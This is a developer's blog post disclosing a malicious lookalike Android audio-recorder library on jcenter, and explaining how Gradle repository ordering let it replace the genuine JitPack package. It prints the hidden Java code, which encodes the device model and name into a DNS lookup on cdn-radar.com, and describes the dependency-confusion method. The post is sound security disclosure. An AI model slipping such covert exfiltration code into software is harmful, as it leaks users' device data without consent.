A Confusing Dependency

Earlier this year I've received the task to put together a demo application which involved recording and playing back audio. As usual in this situation, I scoured the internet, browsing for existing libraries to see if anyone has a solution that I could use, or at least base my implementation on.

Discovery

I quickly stumbled upon the aptly named adrielcafe/AndroidAudioRecorder library. It had some settings for the audio recording, a nice UI which was pretty close to what I needed, and almost a thousand stars on GitHub.

I created a new project, and followed the instructions in the README.

  • I added the permissions necessary for recording audio and saving files to my manifest, fair enough:
<uses-permission android:name="android.permission.RECORD_AUDIO"/>  
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>  
<uses-permission android:name="android.permission.WAKE_LOCK" />  
  • I added JitPack to my repositories, and the library to my dependencies:
allprojects {  
    repositories {
        google()
        jcenter()
        maven { url "https://jitpack.io" }
    }
}
dependencies {  
    implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
}
  • And finally, I added the most basic example usage of the library:
AndroidAudioRecorder.with(this)  
        .setFilePath(File(getExternalStorageDirectory(), "audio.wav").path)
        .setRequestCode(0)
        .record()

Surprise

After building and launching my app, I got an immediate crash. I figured it must be an API level issue (being on Oreo), or perhaps I messed up the call to the library. The usual suspects. What I found then in the logs was quite the surprise:

07-25 15:09:23.386 3288-3311/hu.autsoft.example.audiotest E/AndroidRuntime: FATAL EXCEPTION: Thread-5 Process: hu.autsoft.example.audiotest, PID: 3288 java.lang.SecurityException: Permission denied (missing INTERNET permission?) at java.net.Inet6AddressImpl.lookupHostByName(Inet6AddressImpl.java:135) at java.net.Inet6AddressImpl.lookupAllHostAddr(Inet6AddressImpl.java:90) at java.net.InetAddress.getByName(InetAddress.java:743) at cafe.adriel.androidaudiorecorder.AudioRecorderActivity$1.run(AudioRecorderActivity.java:143) Caused by: android.system.GaiException: androidgetaddrinfo failed: EAINODATA (No address associated with hostname) at libcore.io.Linux.android_getaddrinfo(Native Method) ...

The library seems to have made a network call during the initialization. Attempted to, anyway. Jumping to the line pointed to by the stacktrace, at the end of onCreate in the library's recording Activity and after the legitimate looking initialization calls, I found this:

 protected void onCreate(Bundle savedInstanceState) {
    ...
    Thread thread = new Thread() {
        @Override
        public void run() {
            try {
                InetAddress abc = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
                if(abc.isLoopbackAddress()) {
                    keepDisplayOn = false;
                }
            } catch (UnknownHostException e) {
                e.printStackTrace();
            }
        }
    };
    thread.start();
}

A new thread fired off, constructing a URL that contains the device's model and name, and is postfixed with .n.cdn-radar.com (which I do not recommend visiting). Then, an isLoopbackAddress() call, which as far as I understand (this is mostly guesswork, do correct me if you know this method better) may or may not connect briefly to the given address while checking if it's a loopback address.

(keepDisplayOn is a random field in this class, I assume that line is there so that this code looks somewhat reasonable.)

So basically, this code - if it works - sends my device's make and model to a random server. Or it would, if it had internet permission, which of course almost every application will have by default. It was only luck that my fresh demo app didn't have it yet.

Investigation

After debugging for a while, I found very similar code in a constructor inside the library:

private AndroidAudioRecorder(Activity activity) {  
    this.activity = activity;
    Thread thread = new Thread() {
        @Override
        public void run() {
            try {
                InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
                if(byName.isLoopbackAddress()) {
                    color = 0;
                }
            } catch (UnknownHostException e) {
                e.printStackTrace();
            }
        }
    };
    thread.start();
}

The source code on GitHub, of course, looked like this:

private AndroidAudioRecorder(Activity activity) {  
    this.activity = activity;
}

This was extremely suspicious. Why would the author of a seemingly very popular library distribute a different .aar than what the source would create? At this point, I've raised the issue with them.

But then, as they didn't respond, I kept wondering... How would they even do this, if JitPack just grabs the code from GitHub and packages it themselves? Would JitPack inject this sort of malicious code into a library? Surely not...

As a random debugging step, I removed JitPack from my repositories.

allprojects {  
    repositories {
        google()
        jcenter()
//        maven { url "https://jitpack.io" }
    }
}

My code was still compiling.

Reveal

This meant that I was, in fact, not pulling in this library from JitPack. It was coming from jcenter. And how do libraries end up there? People publish them to Bintray, and then ask for it to be linked it to jcenter (an automated, and rarely denied process as far as I understand).

This is a generally a good thing to do as a library author - jcenter is added as a repository by default for every new Android project, so people who want to use your library won't have to add a new repository, meaning that adding your library to their project is a simple, one-line change.

Searching Bintray for this package quickly revealed our culprit. Created by the obviously fake jakewhaarton, under a repo named timber after one of Jake Wharton's real libraries, we find this and many other fake libraries. Some of these are also copies of popular Android libraries or typos of them, while some others are cryptocurrency related.

Note: yes, the links in the previous paragraph are broken now, see the update further down this article.

Getting back to the audio recording library's fake copy with a garbled name, we'll see why Gradle pulled this library from jcenter: its groupId, artifactId and version match the original exactly, which is all that Gradle identifies packages by.

This package was of course present not just on jcenter, but also on JitPack. So why did Gradle pull the fake one from jcenter? Simply, this repository was listed first in our build.gradle file. As it will be for most people, being one of the repositories added to projects by default. This is what this fake user was counting on.

Conclusion

What can we do about this? Bintray lets users report both repositories and packages, which is the best we can do. I did this, along a couple colleagues, back in February, 2018. The package is obviously fake and malicious. Bintray has yet to do anything about it. The scenario laid out above is reproducible to this day.

Update: After this article was released, Bintray found out about this issue on Twitter, and have removed the packages linked above, while also promising to improve things in the future. I remain doubtful for now.

Update 2: Bintray has now published a full incident report detailing the events, their remediation efforts, and apologizing for the incident again.

While there are much fewer horror stories about Gradle dependencies than about NPM, unexpected and even malicious things can still happen in this ecosystem, and it might take serious luck to even notice this.

Of course you could run your own internal Maven repository for your company and have every project rely on that exclusively, with only carefully reviewed and verified packages being imported there. Most won't have time to be so careful about dependencies.

For now, I just started listing jcenter() last in my projects' repositories.